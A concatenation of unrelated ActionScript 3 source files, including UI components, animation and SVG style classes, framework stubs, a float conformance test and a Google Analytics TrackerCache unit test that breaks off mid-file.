const embedded :Boolean = _ctx.getMsoyClient().isEmbedded();
// add a coins display
if (embedded) {
// disabled for the time being
// TODO: remove permanently
if (_moneyEnabled) {
addCurrencyIcon(Currency.COINS);
_coinsLabel = new Label();
_coinsLabel.styleName = "currencyLabel";
addChild(_coinsLabel);
addCurrencyIcon(Currency.BARS);
_barsLabel = new Label();
_barsLabel.styleName = "currencyLabel";
addChild(_barsLabel);
}
// set up a listener to hear about userobject changes
_ctx.getClient().addClientObserver(
new ClientAdapter(null, clientDidChange, clientDidChange));
clientDidChange();
}
}
protected function addCurrencyIcon (currency :Currency) :void
{
addChild(FlexUtil.createSpacer(10));
const icon :Image = new Image();
icon.source = currency.getEmbedHeaderIcon();
const hb :HBox = new HBox();
hb.setStyle("verticalAlign", "middle");
hb.percentHeight = 100;
hb.addChild(icon);
addChild(hb);
}
protected function locationNameChanged (event :ValueEvent) :void
{
var name :String = (event.value as String);
_loc.text = name;
_loc.validateNow();
// allow text to center under the whirled logo if its not too long.
_loc.width = Math.max(WHIRLED_LOGO_WIDTH, _loc.textWidth + TextFieldUtil.WIDTH_PAD);
// TODO: reinstate this hack? Fuck me. Maybe the LocationDirector should handle this...
// if (!(_ctx.getPlaceView() is RoomView)) {
// _tabs.locationName = name;
// }
// update our window title with the location name
_ctx.getMsoyClient().setWindowTitle(name);
}
protected function locationOwnerChanged (event :ValueEvent) :void
{
while (_owner.numChildren > 0) {
_owner.removeChildAt(0);
}
if (event.value != null) {
var name :String = event.value.toString(), cmd :String, arg :Object;
if (event.value is MemberName) {
cmd = MsoyController.VIEW_MEMBER;
arg = (event.value as MemberName).getId();
} else if (event.value is GroupName) {
cmd = MsoyController.VIEW_GROUP;
arg = (event.value as GroupName).getGroupId();
}
var nameLink :CommandLinkButton = new CommandLinkButton(
Msgs.GENERAL.get("m.room_owner", name), cmd, arg);
nameLink.styleName = "headerLink";
_owner.addChild(nameLink);
}
}
protected function setCompVisible (comp :UIComponent, visible :Boolean) :void
{
_visibles[comp] = FlexUtil.setVisible(comp, visible);
}
/**
* Called when the client object is set up or changes. Only used in an embedded client.
*/
protected function clientDidChange (... ignored) :void
{
const cliObj :MemberObject = _ctx.getMemberObject();
if (cliObj != null) {
cliObj.addListener(new AttributeChangeAdapter(clientAttrChanged));
if (_moneyEnabled) {
_coinsLabel.text = Currency.COINS.format(cliObj.coins);
_barsLabel.text = Currency.BARS.format(cliObj.bars);
}
}
}
/**
* Only used in an embedded client.
*/
protected function clientAttrChanged (event :AttributeChangedEvent) :void
{
switch (event.getName()) {
case MemberObject.COINS:
if (_moneyEnabled) {
_coinsLabel.text = Currency.COINS.format(int(event.getValue()));
}
break;
case MemberObject.BARS:
if (_moneyEnabled) {
_barsLabel.text = Currency.BARS.format(int(event.getValue()));
}
break;
}
}
protected function handleUIStateChange (event :Event) :void
{
var state :UIState = _ctx.getUIState();
_tabsContainer.visible = state.showChat;
}
protected static const WHIRLED_LOGO_WIDTH :int = 124;
protected var _ctx :MsoyContext;
protected var _loc :Label;
protected var _owner :HBox;
protected var _spacer :HBox;
protected var _visibles :Dictionary = new Dictionary(true);
protected var _tabs :ChatTabBar;
protected var _tabsContainer :TabsContainer;
/** The currency labels, used only when embedded. Disabled for now.
* TODO: remove. */
protected var _moneyEnabled :Boolean;
protected var _coinsLabel :Label;
protected var _barsLabel :Label;
}
}
import mx.containers.HBox;
import com.threerings.msoy.client.HeaderBar;
class Spacer extends HBox
{
public function Spacer (headerBar :HeaderBar)
{
_headerBar = headerBar;
setStyle("borderThickness", 0);
setStyle("borderStyle", "none");
percentWidth = 100;
}
override public function setActualSize (w :Number, h :Number) :void
{
super.setActualSize(w, h);
_headerBar.stretchSpacer(w != 0);
}
protected var _headerBar :HeaderBar;
}
class TabsContainer extends HBox
{
public function TabsContainer (headerBar :HeaderBar)
{
_headerBar = headerBar;
setStyle("borderThickness", 0);
setStyle("borderStyle", "none");
setStyle("horizontalGap", 0);
explicitMinWidth = 0;
}
override public function setActualSize (w :Number, h :Number) :void
{
super.setActualSize(w, h);
if (w > getExplicitOrMeasuredWidth()) {
_headerBar.stretchSpacer(true);
}
}
protected var _headerBar :HeaderBar;
}
|
/*
* Copyright 2014 Mozilla Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package flash.system {
import flash.events.EventDispatcher;
public class SystemUpdater extends EventDispatcher {
public function SystemUpdater() {}
public function update(type:String):void { notImplemented("update"); }
public function cancel():void { notImplemented("cancel"); }
}
}
|
package org.bigbluebutton.modules.present.commands
{
import flash.events.Event;
public class GoToPrevPageCommand extends Event
{
public static const GO_TO_PREV_PAGE:String = "presentation go to previous page";
public var curPageId:String;
public function GoToPrevPageCommand(curPageId: String)
{
super(GO_TO_PREV_PAGE, true, false);
this.curPageId = curPageId;
}
}
} |
/*
Feathers
Copyright 2012-2020 Bowler Hat LLC. All Rights Reserved.
This program is free software. You can redistribute and/or modify it in
accordance with the terms of the accompanying license agreement.
*/
package feathers.motion
{
import feathers.motion.effectClasses.IEffectContext;
import feathers.motion.effectClasses.SequenceEffectContext;
import starling.display.DisplayObject;
/**
* Combines multiple effects that play one after another in sequence.
*
* @see ../../../help/effects.html Effects and animation for Feathers components
*
* @productversion Feathers 3.5.0
*/
public class Sequence
{
/**
* Creates an effect function that combines multiple effect functions
* that will play one after another, in sequence.
*
* @productversion Feathers 3.5.0
*/
public static function createSequenceEffect(effect1:Function, effect2:Function, ...rest:Array):Function
{
rest.unshift(effect2);
rest.unshift(effect1);
return function(target:DisplayObject):IEffectContext
{
return new SequenceEffectContext(target, rest);
}
}
}
} |
package com.lorentz.SVG.data.style
{
import com.lorentz.SVG.events.StyleDeclarationEvent;
import com.lorentz.SVG.utils.ICloneable;
import com.lorentz.SVG.utils.SVGUtil;
import com.lorentz.SVG.utils.StringUtil;
import flash.events.EventDispatcher;
[Event(name="propertyChange", type="com.lorentz.SVG.events.StyleDeclarationEvent")]
public class StyleDeclaration extends EventDispatcher implements ICloneable
{
private var _propertiesValues:Object = {};
private var _indexedProperties:Array = [];
public function getPropertyValue(propertyName:String):String {
return _propertiesValues[propertyName];
}
public function setProperty(propertyName:String, value:String):void {
if(_propertiesValues[propertyName] != value){
var oldValue:String = _propertiesValues[propertyName];
_propertiesValues[propertyName] = value;
indexProperty(propertyName);
dispatchEvent( new StyleDeclarationEvent(StyleDeclarationEvent.PROPERTY_CHANGE, propertyName, oldValue, value) );
}
}
public function removeProperty(propertyName:String):String {
var oldValue:String = _propertiesValues[propertyName];
delete _propertiesValues[propertyName];
unindexProperty(propertyName);
dispatchEvent( new StyleDeclarationEvent(StyleDeclarationEvent.PROPERTY_CHANGE, propertyName, oldValue, null) );
return oldValue;
}
public function hasProperty(propertyName:String):Boolean {
var index:int = _indexedProperties.indexOf(propertyName);
return index != -1;
}
public function get length():int {
return _indexedProperties.length;
}
public function item(index:int):String {
return _indexedProperties[index];
}
public function fromString(styleString:String):void {
styleString = StringUtil.trim(styleString);
styleString = StringUtil.rtrim(styleString, ";");
for each(var prop:String in styleString.split(";")){
var split:Array = prop.split(":");
if(split.length==2)
setProperty(StringUtil.trim(split[0]), StringUtil.trim(split[1]));
}
}
public static function createFromString(styleString:String):StyleDeclaration {
var styleDeclaration:StyleDeclaration = new StyleDeclaration();
styleDeclaration.fromString(styleString);
return styleDeclaration;
}
override public function toString():String {
var styleString:String = "";
for each(var propertyName:String in _indexedProperties){
styleString += propertyName+":"+_propertiesValues[propertyName]+ "; ";
}
return styleString;
}
public function clear():void {
while(length > 0)
removeProperty(item(0));
}
public function copyStyles(target:StyleDeclaration):void {
for each(var propertyName:String in _indexedProperties){
target.setProperty(propertyName, getPropertyValue(propertyName));
}
}
public function cloneOn(target:StyleDeclaration):void {
var propertyName:String;
for each(propertyName in _indexedProperties){
target.setProperty(propertyName, getPropertyValue(propertyName));
}
for(var i:int = 0; i < target.length; i++)
{
propertyName = target.item(i);
if(!hasProperty(propertyName))
target.removeProperty(propertyName);
}
}
private function indexProperty(propertyName:String):void {
if(_indexedProperties.indexOf(propertyName) == -1)
_indexedProperties.push(propertyName);
}
private function unindexProperty(propertyName:String):void {
var index:int = _indexedProperties.indexOf(propertyName);
if(index != -1)
_indexedProperties.splice(index, 1);
}
public function clone():Object {
var c:StyleDeclaration = new StyleDeclaration();
cloneOn(c);
return c;
}
}
} |
/*
* =BEGIN CLOSED LICENSE
*
* Copyright (c) 2013-2014 Andras Csizmadia
* http://www.vpmedia.eu
*
* For information about the licensing and copyright please
* contact Andras Csizmadia at andras@vpmedia.eu
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* =END CLOSED LICENSE
*/
package hu.vpmedia.blitting {
import flash.display.BitmapData;
import flash.geom.Point;
import flash.media.Sound;
import hu.vpmedia.framework.IBaseSteppable;
/**
* TBD
*/
public class BlitClip implements IBaseSteppable {
/**
* TBD
*/
public var canvas:BitmapData;
/**
* @private
*/
private var _spriteSheet:BitmapData;
/**
* @private
*/
private var _areas:Vector.<BlitArea>;
/**
* @private
*/
private var _defaultFrameDuration:Number;
/**
* @private
*/
private var _totalTime:Number;
/**
* @private
*/
private var _currentTime:Number;
/**
* @private
*/
private var _currentFrame:int;
/**
* @private
*/
private var _loop:Boolean;
/**
* @private
*/
private var _playing:Boolean;
/**
* @private
*/
private var _durations:Vector.<Number>;
/**
* @private
*/
private var _sounds:Vector.<Sound>;
/**
* TBD
*/
public var x:Number;
/**
* TBD
*/
public var y:Number;
/**
* TBD
*/
public var position:Point;
/**
* TBD
*/
public var name:String;
/**
* TBD
*/
public function BlitClip(canvas:BitmapData, atlas:BlitAtlas, prefix:String = "", fps:int = 30) {
x = 0;
y = 0;
position = new Point();
this.canvas = canvas;
_spriteSheet = atlas.getBitmapData();
_defaultFrameDuration = 1.0 / fps;
_loop = true;
_playing = true;
_totalTime = 0.0;
_currentTime = 0.0;
_currentFrame = 0;
_areas = new Vector.<BlitArea>;
_durations = new Vector.<Number>;
_sounds = new Vector.<Sound>;
var areas:Vector.<BlitArea> = atlas.getAreas(prefix);
for each (var area:BlitArea in areas)
addFrame(area);
}
/**
* TBD
*/
public function addFrame(area:BlitArea, sound:Sound = null, duration:Number = -1):void {
addFrameAt(numFrames, area, sound, duration);
}
/**
* TBD
*/
public function addFrameAt(index:int, area:BlitArea, sound:Sound = null, duration:Number = -1):void {
//trace(this, "addFrameAt", index, area, sound, duration);
if (index < 0 || index > numFrames)
throw new ArgumentError("Invalid frame index");
if (duration < 0)
duration = _defaultFrameDuration;
_areas.splice(index, 0, area);
_sounds.splice(index, 0, sound);
_durations.splice(index, 0, duration);
_totalTime += duration;
}
/**
* TBD
*/
public function removeFrameAt(index:int):void {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
_totalTime -= getFrameDuration(index);
_areas.splice(index, 1);
_sounds.splice(index, 1);
_durations.splice(index, 1);
}
/**
* TBD
*/
public function getFrameBlitArea(index:int):BlitArea {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
return _areas[index];
}
/**
* TBD
*/
public function setFrameBlitArea(index:int, area:BlitArea):void {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
_areas[index] = area;
}
/**
* TBD
*/
public function getFrameSound(index:int):Sound {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
return _sounds[index];
}
/**
* TBD
*/
public function setFrameSound(index:int, sound:Sound):void {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
_sounds[index] = sound;
}
/**
* TBD
*/
public function getFrameDuration(index:int):Number {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
return _durations[index];
}
/**
* TBD
*/
public function setFrameDuration(index:int, duration:Number):void {
if (index < 0 || index >= numFrames)
throw new ArgumentError("Invalid frame index");
_totalTime -= getFrameDuration(index);
_totalTime += duration;
_durations[index] = duration;
}
/**
* TBD
*/
public function play():void {
_playing = true;
}
/**
* TBD
*/
public function pause():void {
_playing = false;
}
/**
* TBD
*/
public function stop():void {
_playing = false;
currentFrame = 0;
}
/**
* TBD
*/
public function step(passedTime:Number):void {
if (_loop && _currentTime == _totalTime)
_currentTime = 0.0;
if (!_playing || passedTime == 0.0 || _currentTime == _totalTime)
return;
var i:int = 0;
var durationSum:Number = 0.0;
var previousTime:Number = _currentTime;
var restTime:Number = _totalTime - _currentTime;
var carryOverTime:Number = passedTime > restTime ? passedTime - restTime : 0.0;
_currentTime = Math.min(_totalTime, _currentTime + passedTime);
for each (var duration:Number in _durations) {
if (durationSum + duration >= _currentTime) {
//if (_currentFrame != i || numFrames == 1)
//{
_currentFrame = i;
updateCurrentFrame();
//playCurrentSound();
//}
break;
}
++i;
durationSum += duration;
}
/* if (previousTime < _totalTime && _currentTime == _totalTime)
{
completeSignal.dispatch();
} */
step(carryOverTime);
}
private function updateCurrentFrame():void {
//trace(canvas, position, _currentFrame, _areas[_currentFrame], _areas[_currentFrame].frame);
position.x = x - _areas[_currentFrame].frame.x;
position.y = y - _areas[_currentFrame].frame.y;
canvas.copyPixels(_spriteSheet, _areas[_currentFrame].region, position, null, null, true);
}
private function playCurrentSound():void {
var sound:Sound = _sounds[_currentFrame];
if (sound)
sound.play();
}
/**
* TBD
*/
public function get isComplete():Boolean {
return false;
}
/**
* TBD
*/
public function get totalTime():Number {
return _totalTime;
}
/**
* TBD
*/
public function get numFrames():int {
return _areas.length;
}
/**
* TBD
*/
public function get loop():Boolean {
return _loop;
}
/**
* TBD
*/
public function set loop(value:Boolean):void {
_loop = value;
}
/**
* TBD
*/
public function get currentFrame():int {
return _currentFrame;
}
/**
* TBD
*/
public function set currentFrame(value:int):void {
_currentFrame = value;
_currentFrame = 0.0;
for (var i:int = 0; i < value; ++i) {
_currentTime += getFrameDuration(i);
}
updateCurrentFrame();
}
/**
* TBD
*/
public function get fps():Number {
return 1.0 / _defaultFrameDuration;
}
/**
* TBD
*/
public function set fps(value:Number):void {
var newFrameDuration:Number = value == 0.0 ? Number.MAX_VALUE : 1.0 / value;
var acceleration:Number = newFrameDuration / _defaultFrameDuration;
_currentTime *= acceleration;
_defaultFrameDuration = newFrameDuration;
for (var i:int = 0; i < numFrames; ++i)
setFrameDuration(i, getFrameDuration(i) * acceleration);
}
/**
* TBD
*/
public function get isPlaying():Boolean {
if (_playing)
return _loop || _currentTime < _totalTime;
return false;
}
}
}
|
package {
import flash.display.DisplayObject;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.geom.Point;
import flash.geom.Rectangle;
/**
* ...
* @author Michael M
*/
public class Main extends Sprite {
private var bodies:Vector.<ExampleBody>;
public function Main() {
Util.init(this);
bodies = new Vector.<ExampleBody>();
for (var i:uint = 0; i < 200; i++) {
var dude:ExampleBody = new ExampleBody();
addChild(dude);
bodies.push(dude);
}
addEventListener(Event.ENTER_FRAME, update);
stage.addEventListener(MouseEvent.CLICK, jump);
for (var j:uint = 0; j < numChildren; j++) {
if (getChildAt(j) is TerrainObject) {
Util.terrain.push(getChildAt(j));
}
}
trace(Util.terrain);
}
private function jump(e:MouseEvent):void
{
for each (var d:ExampleBody in bodies) {
d.myCustomJumpFunction();
}
}
private function update(e:Event):void {
for each (var d:ExampleBody in bodies) {
d.update();
d.myCustomMoveFunction();
}
}
}
} |
package com.playfab.ServerModels
{
public class GetPlayerProfileResult
{
public var PlayerProfile:PlayerProfileModel;
public function GetPlayerProfileResult(data:Object=null)
{
if(data == null)
return;
PlayerProfile = new PlayerProfileModel(data.PlayerProfile);
}
}
}
|
package com.arduino
{
public class BoardType
{
static public const uno:String = "uno";
static public const leonardo:String = "leonardo";
static public const mega1280:String = "mega1280";
static public const mega2560:String = "mega2560";
static public const nano328:String = "nano328";
static public const nano168:String = "nano168";
}
} |
/////////////////////////////////////////////////////////////////////////////////////
//
// Simplified BSD License
// ======================
//
// Copyright 2013-2014 Pascal ECHEMANN. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this
// list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// The views and conclusions contained in the software and documentation are those
// of the authors and should not be interpreted as representing official policies,
// either expressed or implied, of the copyright holders.
//
/////////////////////////////////////////////////////////////////////////////////////
package org.flashapi.hummingbird.mobile {
// -----------------------------------------------------------
// IMobileMediator.as
// -----------------------------------------------------------
/**
* @author Pascal ECHEMANN
* @version 1.0.0, 24/11/2013 16:32
* @see http://www.flashapi.org/
*/
/**
* <code>IMobileMediator</code> is the markup interface for objects that encapsulate
* how a Flex Mobile application and the Hummingbird Framework interact.
*
* @since Hummingbird 1.6
*/
public interface IMobileMediator {
/**
* Determines how this mediator decides whether to call the <code>finalize()</code>
* method on a <code>IFlexView</code> object when it is removed from the
* scene (<code>MobileViewExistencePolicy.DISPOSE_ON_REMOVE</code>), or not
* (<code>MobileViewExistencePolicy.DO_NOTHING_ON_REMOVE</code>).
*
* @default MobileViewExistencePolicy.DISPOSE_ON_REMOVE
*
* @see org.flashapi.hummingbird.mobile.MobileViewExistencePolicy
*/
function get mobileViewExistencePolicy():String;
function set mobileViewExistencePolicy(value:String):void;
}
} |
/* -*- c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */
/* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
import com.adobe.test.Assert;
import com.adobe.test.Utils;
include "floatUtil.as";
// var SECTION = "4.5.8";
// var VERSION = "AS3";
// var TITLE = "float.E";
// var flt_e:float = float(Math.E);
var flt_e:float = float(2.7182818);
Assert.expectEq("float.E", flt_e, float.E);
Assert.expectEq("typeof float.E", "float", getQualifiedClassName(float.E));
Assert.expectEq("float.E - DontDelete", false, delete(float.E));
Assert.expectEq("float.E is still ok", flt_e, float.E);
Assert.expectEq("float.E - DontEnum", '',getFloatProp('E'));
Assert.expectEq("float.E is no enumberable", false, float.propertyIsEnumerable('E'));
Assert.expectError("float.E - ReadOnly", Utils.REFERENCEERROR+1074, function(){ float.E = 0; });
Assert.expectEq("float.E is still here", flt_e, float.E);
|
package pl.brun.lib.debugger {
public var isDebuggerEnabled:Boolean;
}
|
/*
* Copyright 2008 Adobe Systems Inc., 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Contributor(s):
* Marc ALCARAZ <ekameleon@gmail.com>.
* Zwetan Kjukov <zwetan@gmail.com>.
*/
package com.google.analytics.core
{
import library.ASTUce.framework.ArrayAssert;
import library.ASTUce.framework.TestCase;
import com.google.analytics.v4.GoogleAnalyticsAPI;
import flash.errors.IllegalOperationError;
public class TrackerCacheTest extends TestCase
{
public function TrackerCacheTest(name:String = "")
{
super( name );
}
public var cache:TrackerCache ;
public function setUp():void
{
cache = new TrackerCache() ;
}
public function tearDown():void
{
cache = null ;
}
public function testConstructor():void
{
assertNotNull( cache , "The TrackerCache instance not must be null" ) ;
}
public function testInterface():void
{
assertTrue( cache is GoogleAnalyticsAPI , "The TrackerCache instance must implement the GoogleAnalyticsAPI interface." ) ;
}
public function testCACHE_THROW_ERROR():void
{
assertFalse( TrackerCache.CACHE_THROW_ERROR , "01 - The TrackerCache.CACHE_THROW_ERROR static value must be false by default") ;
TrackerCache.CACHE_THROW_ERROR = true ;
assertTrue( TrackerCache.CACHE_THROW_ERROR , "02 - The TrackerCache.CACHE_THROW_ERROR static value must be true.") ;
TrackerCache.CACHE_THROW_ERROR = false ;
assertFalse( TrackerCache.CACHE_THROW_ERROR , "03 - The TrackerCache.CACHE_THROW_ERROR static value must be false.") ;
}
public function testTracker():void
{
var tc:GoogleAnalyticsAPI = new TrackerCache() ;
cache.tracker = tc ;
assertEquals( cache.tracker , tc , "01 - The tracker property failed." ) ;
cache.tracker = null ;
assertNull( cache.tracker , "02 - The tracker property failed, must be null." ) ;
}
public function testClear():void
{
cache.enqueue("myMethod", 1, 2, 3 ) ;
cache.enqueue("myMethod", 1, 2, 3 ) ;
cache.enqueue("myMethod", 1, 2, 3 ) ;
var oldSize:int = cache.size() ;
cache.clear() ;
assertEquals( oldSize , 3 , "01 - TrackerCache clear method failed." ) ;
assertNotSame( cache.size() , oldSize , "02 - TrackerCache clear method failed." ) ;
assertEquals( cache.size() , 0 , "03 - TrackerCache clear method failed." ) ;
}
public function testElement():void
{
cache.enqueue("myMethod", 1, 2, 3 ) ;
var element:Object = cache.element() ;
assertEquals( element.name , "myMethod" , "01 - TrackerCache element method failed." ) ;
ArrayAssert.assertEquals( element.args as Array, [1,2,3] , "02 - TrackerCache element method failed." ) ;
cache.clear() ;
}
public function testEnqueue():void
{
assertFalse( cache.enqueue(null) , "01 - TrackerCache enqueue method failed with a name parameter null." ) ;
assertTrue( cache.enqueue("myMethod1", 1, 2, 3 ) , "02 - TrackerCache enqueue method failed." );
assertEquals( cache.size() , 1 , "03 - TrackerCache enqueue method failed." ) ;
assertTrue( cache.enqueue("myMethod2" ) , "04 - TrackerCache enqueue method failed." );
assertEquals( cache.size() , 2 , "05 - TrackerCache enqueue method failed." ) ;
cache.clear() ;
}
public function testFlush():void
{
var tc:TrackerCache = new TrackerCache() ;
cache.trackPageview("/hello1") ;
cache.trackPageview("/hello2") ;
cache.trackPageview("/hello3") ;
cache.tracker = tc ;
cache.flush() ; // the test fill an other TrackerCache
assertTrue( cache.isEmpty() , "01 - TrackerCache flush method failed, the cache must be empty." ) ;
assertEquals( tc.size() , 3 , "02 - TrackerCache flush method failed." ) ;
}
public function testIsEmpty():void
{
assertTrue( cache.isEmpty() , "01 - The TrackerCache isEmpty method failed." ) ;
cache.enqueue("myMethod", 1, 2, 3 ) ;
assertFalse( cache.isEmpty() , "02 - The TrackerCache isEmpty method failed." ) ;
cache.clear() ;
assertTrue( cache.isEmpty() , "03 - The TrackerCache isEmpty method failed." ) ;
}
public function testSize():void
{
cache.enqueue("myMethod1", 1, 2, 3 ) ;
cache.enqueue("myMethod2", 1, 2, 3 ) ;
cache.enqueue("myMethod3", 1, 2, 3 ) ;
assertEquals( cache.size() , 3 , "01-02 - TrackerCache clear method failed." ) ;
cache.clear() ;
}
//////////////////////////// GoogleAnalyticsAPI implementation
public function testAddIgnoredOrganic():void
{
cache.addIgnoredOrganic( "keyword" ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache addIgnoredOrganic method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache addIgnoredOrganic method failed." ) ;
assertEquals( e.name , "addIgnoredOrganic" , "03 - TrackerCache addIgnoredOrganic method failed." ) ;
ArrayAssert.assertEquals( e.args as Array, ["keyword"] , "04 - TrackerCache addIgnoredOrganic method failed." ) ;
cache.clear() ;
}
public function testAddIgnoredRef():void
{
cache.addIgnoredRef( "referrer" ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache addIgnoredRef method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache addIgnoredRef method failed." ) ;
assertEquals( e.name , "addIgnoredRef" , "03 - TrackerCache addIgnoredRef method failed." ) ;
ArrayAssert.assertEquals( e.args as Array, ["referrer"] , "04 - TrackerCache addIgnoredRef method failed." ) ;
cache.clear() ;
}
public function testAddItem():void
{
cache.addItem( "item", "sku", "name", "category" , 999, 1 ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache addItem method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache addItem method failed." ) ;
assertEquals( e.name , "addItem" , "03 - TrackerCache addItem method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["item", "sku", "name", "category" , 999, 1],
"04 - TrackerCache addItem method failed."
) ;
cache.clear() ;
}
public function testAddOrganic():void
{
cache.addOrganic( "engine", "keyword" ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache addOrganic method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache addOrganic method failed." ) ;
assertEquals( e.name , "addOrganic" , "03 - TrackerCache addOrganic method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["engine", "keyword"],
"04 - TrackerCache addOrganic method failed."
) ;
cache.clear() ;
}
public function testAddTrans():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.addTrans("orderId" , "affiliation", 2, 1000, 3, "marseille", "bdr", "france") ;
fail( "02-01 - TrackerCache addTrans method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "02-02 - TrackerCache addTrans method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'addTrans' method for the moment." ,
"02-03 - TrackerCache addTrans method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertNull
(
cache.addTrans("orderId" , "affiliation", 2, 1000, 3, "marseille", "bdr", "france") ,
"01 - TrackerCache addTrans method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testClearIgnoredOrganic():void
{
cache.clearIgnoredOrganic() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache clearIgnoredOrganic method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache clearIgnoredOrganic method failed." ) ;
assertEquals( e.name , "clearIgnoredOrganic" , "03 - TrackerCache clearIgnoredOrganic method failed." ) ;
assertTrue( e["args"] is Array , "04 - TrackerCache clearIgnoredOrganic method failed." ) ;
cache.clear() ;
}
public function testClearIgnoredRef():void
{
cache.clearIgnoredRef() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache clearIgnoredRef method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache clearIgnoredRef method failed." ) ;
assertEquals( e.name , "clearIgnoredRef" , "03 - TrackerCache clearIgnoredRef method failed." ) ;
assertTrue( e["args"] is Array , "04 - TrackerCache clearIgnoredRef method failed." ) ;
cache.clear() ;
}
public function testClearOrganic():void
{
cache.clearOrganic() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache clearOrganic method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache clearOrganic method failed." ) ;
assertEquals( e.name , "clearOrganic" , "03 - TrackerCache clearOrganic method failed." ) ;
assertTrue( e["args"] is Array , "04 - TrackerCache clearOrganic method failed." ) ;
cache.clear() ;
}
public function testCreateEventTracker():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.createEventTracker("name") ;
fail( "01-01 - TrackerCache createEventTracker method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache createEventTracker method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'createEventTracker' method for the moment." ,
"01-03 - TrackerCache createEventTracker method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertNull
(
cache.createEventTracker("name") ,
"02 - TrackerCache createEventTracker method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testCookiePathCopy():void
{
cache.cookiePathCopy( "path" ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache cookiePathCopy method failed." ) ;
